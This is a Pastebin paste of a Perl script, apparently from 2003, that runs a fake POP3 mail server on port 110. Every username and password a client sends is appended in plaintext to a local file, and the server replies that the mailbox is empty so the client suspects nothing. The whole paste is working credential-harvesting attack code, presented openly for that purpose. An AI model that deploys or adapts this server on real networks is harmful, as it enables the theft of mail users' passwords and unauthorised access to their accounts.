Advertisement
Guest User

Untitled

a guest
Aug 15th, 2017
466
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.05 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Fake pop3 server wich just logs user/password into a file and
  4. # tells that there are no messages waiting.
  5. #
  6. # This example daemon was partially on my disk and i have just
  7. # Modify it to work corretly on this purpose
  8. #
  9. # mmo@remote-exploit.org 2003
  10.  
  11. $MLEM="\r\n.\r\n";#Multi Line End Marker
  12.  
  13. $logfile="/tmp/pop3-captured-passwords.txt";
  14.  
  15. use Socket;
  16. use Fcntl ':flock';
  17. use IO::Handle;
  18. use IO::Socket;
  19. use Carp;
  20.  
  21. $door = IO::Socket::INET->new(
  22. Proto => 'tcp',
  23. LocalPort => 110,
  24. Listen => SOMAXCONN,
  25. Reuse => 1
  26. );
  27.  
  28. die "Cannot set up socket: $!" unless $door;
  29.  
  30. $timeout = 60;
  31. $SIG{ALRM} = sub { die "alarm or timeout\n" };
  32.  
  33. sub SockData($){
  34. my $client = shift;
  35. my $hersockaddr = getpeername($client);
  36. my ($port, $iaddr) = unpack_sockaddr_in($hersockaddr);
  37. my $herhostname = gethostbyaddr($iaddr, AF_INET);
  38. my $herstraddr = inet_ntoa($iaddr);
  39. return "$herhostname $herstraddr";
  40. };
  41.  
  42.  
  43.  
  44.  
  45. # from perldoc perlipc:
  46.  
  47. sub REAPER {
  48. $waitedpid = wait;
  49. print "Reaped $waitedpid and got status [ $? ] \n";
  50.  
  51. $SIG{CHLD} = \&REAPER; # still loathe sysV
  52. }
  53. $SIG{CHLD} = \&REAPER; # setting it to 'IGNORE' may work: YMMV
  54.  
  55.  
  56.  
  57.  
  58.  
  59. for(;;){
  60. until( $client = $door->accept()){
  61. print "Accepted false socket $!";
  62. sleep 1;
  63. };
  64. $F = fork;
  65. die "Fork weirdness: $!" if $F < 0;
  66.  
  67. if($F){
  68. close $client;
  69. next;
  70. };
  71.  
  72. # here we are in a new process
  73.  
  74. close ($door);
  75.  
  76. $client->autoflush();
  77. print "$$ New Connection ".SockData($client)."\n";
  78. &AUTHORIZATION;
  79. print "$$ authorized\n";
  80. &TRANSACTION;
  81. print "$$ done\n";
  82. exit;
  83. };
  84.  
  85.  
  86. sub OK($){
  87. my $A = shift;
  88. $A =~ s/\s+/ /g;
  89. $A =~ s/\s+\Z//g;
  90. print $client "+OK $A\r\n";
  91. print "S: +OK $A\r\n";
  92. alarm $timeout;
  93. };
  94.  
  95. sub ERR($){
  96. my $A = shift;
  97. $A =~ s/\s+/ /g;
  98. $A =~ s/\s+\Z//g;
  99. print $client "-ERR $A\r\n";
  100. print "S: -ERR $A\r\n";
  101. alarm $timeout;
  102. };
  103.  
  104. sub AUTHORIZATION{
  105. $cuname='';
  106. $cpass='';
  107. $Name = '';
  108. OK "POP3 Daemon ".SockData($client).scalar(localtime);
  109. NEEDUSER:
  110. $Data = <$client>;
  111. print "C:$Data\n";
  112. if ($Data =~ m/^quit/i){
  113. OK "+";
  114. exit;
  115. };
  116. ($Name) = $Data =~ m/^user (\w+)/i;
  117. unless($Name){
  118. ERR "-";
  119. die if ++$strikes > 5;
  120. goto NEEDUSER;
  121. };
  122. OK "User name ($Name) ok. Password, please.";
  123. $cuname=$Name;
  124. $Data = <$client>;
  125. print "C:$Data\n";
  126. if ($Data =~ m/^quit/i){
  127. OK "+";
  128. exit;
  129. };
  130. if ($Data =~ m/^pass (.*)/i)
  131. {
  132. my $Pass = $1;
  133. $Pass =~ s/\s+\Z//g;
  134.  
  135. open(DATEI,">>$logfile") || die "Could not open $logfile";
  136. print DATEI scalar(localtime) . " pop3 - user: $cuname password $Pass \n";
  137. close (DATEI);
  138.  
  139. #`echo "pop3 - user: $cuname password: $Pass" >> $logfile`;
  140. OK "$Name has 0 messages";
  141. }
  142. else
  143. {
  144. ERR "-";
  145. die if ++$strikes > 5;
  146. goto NEEDUSER;
  147. };
  148.  
  149.  
  150. };
  151.  
  152. sub TRANSACTION{
  153. %deletia = ();
  154. START:
  155. $_ = $Data = <$client>;
  156. unless(defined($Data)){
  157. print "Client closed connection\n";
  158. exit;
  159. };
  160. print "C:$Data\n";
  161. if (m/^quit/i){
  162. OK "Exiting now";
  163. return;
  164. };
  165. if (m/^STAT/i){ &STAT; goto START};
  166. if (m/^LIST/i){ &NOOP; goto START};
  167. if (m/^RETR/i){ &NOOP; goto START};
  168. if (m/^DELE/i){ &NOOP; goto START};
  169. if (m/^NOOP/i){ &NOOP; goto START};
  170. if (m/^RSET/i){ &RSET; goto START};
  171. # optional commands (rfc 1725)
  172. if (m/^TOP/i){ &NOOP; goto START};
  173. if (m/^UIDL/i){ &NOOP; goto START};
  174.  
  175.  
  176. ERR "-";
  177.  
  178. goto START;
  179. }
  180.  
  181. sub STAT{
  182. alarm 0; #who knows how long reading the dir will take?
  183. $mm = 0;
  184. $nn = 0;
  185. OK "$nn $mm";
  186. };
  187.  
  188. sub NOOP{
  189. OK "+";
  190. };
  191.  
  192. sub RSET{
  193. %deletia=();
  194. OK "+";
  195. };
  196.  
  197. __END__
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement